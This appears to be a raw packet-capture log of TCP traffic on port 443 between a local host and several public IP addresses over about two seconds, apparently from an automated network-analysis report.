Oct 31, 2024 21:54:52.781655073 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.781719923 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.785734892 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.785815954 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.785878897 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.785885096 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.808042049 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.808841944 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.808851957 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.809144020 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.809631109 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.809683084 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.809786081 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.828099966 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.855325937 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.860110044 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.918509007 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.918797016 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.918807030 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.919086933 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.919454098 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.919503927 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.919603109 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.946468115 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946507931 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946543932 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946569920 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.946573973 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946583986 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946616888 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.946738005 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946793079 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946820021 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946836948 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.946845055 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.946872950 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.963326931 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.987095118 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.987101078 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.007977962 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.008066893 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.008470058 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.009110928 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.009123087 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.013149023 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.013171911 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.013330936 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.013603926 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.013611078 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.033288002 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.033333063 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.033467054 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.033672094 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.033688068 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.038089037 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.060028076 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.060072899 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.060136080 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.060971022 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.060975075 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.063366890 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.063380957 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.063462019 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.063657999 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.063668013 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.063756943 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.063880920 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.063914061 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.063931942 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.063942909 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.064016104 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.064068079 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.064481020 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.064533949 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.064539909 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.064637899 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.064788103 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.064791918 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.065197945 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.065227032 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.065274954 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.065279961 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.065372944 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.065376997 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066005945 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066039085 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066077948 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.066082954 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066128969 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066145897 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.066150904 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.066258907 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.066778898 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.068520069 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.068578959 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.068583965 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.114089966 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.355338097 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:54:53.394619942 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394674063 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394700050 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394725084 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394735098 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.394756079 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394782066 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.394824982 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394849062 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.394862890 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.394866943 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395013094 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.395065069 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395119905 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395149946 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395181894 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395201921 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.395206928 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395231009 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.395891905 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395931959 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395946980 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.395951033 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395965099 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395978928 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.395992041 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.395998955 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.396002054 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.396049976 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.396756887 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.396787882 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.396817923 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.396823883 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.396827936 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.396840096 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.396863937 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.399403095 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.399465084 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.399894953 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.399955988 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400082111 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400110960 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400132895 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400137901 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400170088 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400553942 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400592089 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400618076 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400621891 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400652885 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400660992 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400715113 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.400722027 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.400739908 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.403577089 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.403600931 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.403707027 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.403913975 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.403923988 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.420227051 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:53.420279026 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:53.420412064 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:53.420639992 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:53.420656919 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:53.492813110 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.492891073 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.494303942 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.494318008 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.494519949 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.495508909 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.539338112 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.554990053 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.555037975 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.555107117 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.555334091 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:53.555346966 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:53.626768112 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.627310038 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.627329111 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.627609968 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.630309105 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.630354881 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.630458117 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.658134937 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:54:53.671333075 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.681067944 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.681304932 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.681324005 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.682225943 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.682298899 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.682605982 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.682663918 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.682701111 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.696722984 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.699235916 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.699254036 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.699532986 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.701746941 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.701800108 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.701877117 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.727341890 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.737137079 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.737152100 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.743333101 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.750380039 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.750444889 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.750524998 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.751308918 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.751331091 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.751343966 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:53.751348972 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:53.753103018 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.775049925 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775085926 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775144100 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.775154114 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775439024 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775465965 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775512934 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.775518894 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775552034 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.775558949 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.775919914 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.776407957 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.776459932 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.776463985 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.776503086 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.785140991 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.842854977 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.842905045 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.842982054 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.843650103 CET	49737	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:53.843662024 CET	443	49737	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:53.891159058 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.891238928 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.891323090 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.892174959 CET	49736	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.892200947 CET	443	49736	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.893536091 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.893680096 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.893707037 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.893752098 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.893763065 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.893800020 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.894187927 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.894433022 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.894459009 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.894493103 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.894496918 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.894543886 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.894967079 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895035982 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895093918 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.895097017 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895196915 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895864010 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895890951 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895929098 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.895932913 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.895957947 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.896027088 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.896665096 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.896720886 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.896724939 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.896769047 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.896840096 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.934453964 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.934531927 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:53.934542894 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:53.976172924 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.012399912 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.012459993 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.012486935 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.012520075 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.012530088 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.012569904 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.012744904 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013011932 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013082027 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.013086081 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013122082 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013183117 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.013185978 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013287067 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013350010 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.013353109 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.013971090 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.014044046 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.014048100 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.014098883 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.014414072 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.014477015 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.014511108 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.014554977 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.014720917 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.014781952 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.015386105 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.015450001 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.015609980 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.015661001 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.015805006 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.015855074 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.016415119 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.016467094 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.047388077 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.047625065 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.047646999 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.047933102 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.048238039 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.048301935 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.048371077 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.053061962 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.053128004 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.053293943 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.053337097 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.053445101 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.053508997 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.091337919 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.098850965 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.099097967 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:54.099129915 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.099797964 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.100162983 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:54.100223064 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.100339890 CET	49739	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:54.103089094 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.131073952 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.131155968 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.131270885 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.131331921 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.131522894 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.131577969 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.131763935 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.131813049 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.131958008 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.132008076 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.132297039 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.132348061 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.132472992 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.132536888 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.132744074 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.132775068 CET	443	49735	104.19.230.21	192.168.2.16
